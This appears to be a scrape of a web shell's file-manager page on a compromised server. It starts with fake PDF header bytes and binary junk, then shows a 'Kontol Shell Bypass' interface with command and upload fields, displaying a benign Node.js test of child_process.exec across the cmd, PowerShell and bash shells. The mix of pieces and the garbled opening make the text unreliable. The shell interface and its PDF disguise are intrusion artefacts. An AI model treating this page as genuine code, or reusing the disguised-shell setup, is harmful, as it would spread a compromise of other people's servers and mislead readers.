%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/test/parallel/test-child-process-exec-any-shells-windows.js
'use strict';
const common = require('../common');
const assert = require('assert');
const cp = require('child_process');
const fs = require('fs');
const tmpdir = require('../common/tmpdir');

// This test is only relevant on Windows.
if (!common.isWindows)
  common.skip('Windows specific test.');

// This test ensures that child_process.exec can work with any shells.

tmpdir.refresh();
const tmpPath = `${tmpdir.path}\\path with spaces`;
fs.mkdirSync(tmpPath);

const test = (shell) => {
  cp.exec('echo foo bar', { shell: shell },
          common.mustSucceed((stdout, stderror) => {
            assert.ok(!stderror);
            assert.ok(stdout.includes('foo') && stdout.includes('bar'));
          }));
};
const testCopy = (shellName, shellPath) => {
  // Symlink the executable to a path with spaces, to ensure there are no issues
  // related to quoting of argv0
  const copyPath = `${tmpPath}\\${shellName}`;
  fs.symlinkSync(shellPath, copyPath);
  test(copyPath);
};

const system32 = `${process.env.SystemRoot}\\System32`;

// Test CMD
test(true);
test('cmd');
testCopy('cmd.exe', `${system32}\\cmd.exe`);
test('cmd.exe');
test('CMD');

// Test PowerShell
test('powershell');
testCopy('powershell.exe',
         `${system32}\\WindowsPowerShell\\v1.0\\powershell.exe`);
fs.writeFile(`${tmpPath}\\test file`, 'Test', common.mustSucceed(() => {
  cp.exec(`Get-ChildItem "${tmpPath}" | Select-Object -Property Name`,
          { shell: 'PowerShell' },
          common.mustSucceed((stdout, stderror) => {
            assert.ok(!stderror);
            assert.ok(stdout.includes(
              'test file'));
          }));
}));

// Test Bash (from WSL and Git), if available
cp.exec('where bash', common.mustCall((error, stdout) => {
  if (error) {
    return;
  }
  const lines = stdout.trim().split(/[\r\n]+/g);
  for (let i = 0; i < lines.length; ++i) {
    const bashPath = lines[i].trim();
    test(bashPath);
    testCopy(`bash_${i}.exe`, bashPath);
  }
}));

Kontol Shell Bypass